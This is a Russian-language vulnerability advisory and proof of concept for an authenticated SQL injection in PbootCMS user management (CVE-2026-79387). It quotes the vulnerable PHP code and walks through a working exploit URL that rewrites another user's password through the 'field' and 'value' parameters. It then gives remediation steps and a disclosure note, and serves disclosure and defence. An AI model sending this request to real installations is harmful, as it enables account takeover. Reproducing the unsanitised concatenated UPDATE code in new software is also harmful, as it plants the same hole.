
Доказательство концепции для CVE-2026-79387 — аутентифицированная SQL-инъекция в управлении пользователями PbootCMS, позволяющая произвольное обновление полей и захват учётной записи.
| Поле | Детали |
|---|
| ID CVE | CVE-2026-79387 |
| Продукт | PbootCMS |
| Затронутые версии | 3.2.0 – 3.2.5 и, возможно, более ранние |
| Тип уязвимости | SQL-инъекция (CWE-89) |
| Вектор атаки | Удалённый (с аутентификацией) |
| Серьёзность CVSS | Высокая |
| Обнаружил | JihaoLi |
| Вендор | https://www.pbootcms.com/ |
В модуле управления пользователями PbootCMS V3.2.5 существует уязвимость SQL-инъекции. Уязвимость находится в методе mod() файла /apps/admin/controller/system/UserController.php (строка 149) и методе modUser() файла /apps/admin/model/system/UserModel.php.
Параметр field полностью контролируется пользователем через GET-запрос без какой-либо проверки по белому списку. Параметр value также полностью контролируется пользователем и напрямую конкатенируется в SQL-оператор UPDATE. Аутентифицированный злоумышленник может указать любую колонку базы данных в качестве field (например, password, username, status, role), что позволяет произвольное манипулирование данными.
// UserController.php - метод mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field и $value берутся напрямую из суперглобального массива $_GET и конкатенируются в SQL-строку без санитизации, без белого списка и без параметризованных запросов. Затем эта строка передаётся в UserModel::modUser(), который пересылает её в базовый метод Model::update(). Поскольку аргумент является строкой (а не массивом), это обходит проверку имён полей checkKey() и встраивается дословно в предложение SET:
UPDATE ay_user SET <контролируемое_пользователем>= '<контролируемое_пользователем>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Аутентифицированный злоумышленник может:
ucode=10001).value позволяет экранировать одинарную кавычку, что потенциально открывает возможность для многооператорных или тавтологических атак.Это приводит к захвату учётных записей и полному контролю над бэкендом CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Откройте панель администратора PbootCMS и войдите с учётной записью admin по умолчанию.

Перейдите в Системное управление → Управление пользователями → Добавить пользователя. Создайте нового пользователя:
admin2admin
Список пользователей подтверждает наличие admin2 с ucode=10002:

Откройте новое окно браузера. Попробуйте войти как admin2 с паролем 123456 — это не удастся, поскольку фактический пароль — admin:

Используя браузер уже вошедшего администратора, перейдите по адресу:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291— это MD5-хеш строки123456.
Метод mod() выполняет инъекцию и перенаправляет через location(-1):

Теперь попробуйте войти с admin2 / 123456:

Пароль был успешно изменён посредством SQL-инъекции. Пользователь теперь вошёл в систему с новым паролем, что подтверждает полный захват учётной записи.

Когда update() получает строковый аргумент, он используется как есть в предложении SET без какого-либо экранирования:
final public function update($data = null)
{
if (is_array($data)) {
// Путь массива: checkKey() проверяет имена полей
...
} else {
// Путь строки: БЕЗ КАКОЙ-ЛИБО ПРОВЕРКИ
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Прямое выполнение, без подготовленных операторов
}
field — разрешать только известные имена колонок (status, username, realname, password).$value для предотвращения выхода за пределы кавычек.field равен password, применять encrypt_string() к значению перед сохранением.mod() должна требовать действительный CSRF-токен и проверку авторизации на уровне ролей.Раскрытие: Эта уязвимость была ответственно раскрыта вендору. Если вы используете затронутую версию, немедленно обновитесь и проверьте все учётные записи бэкенда.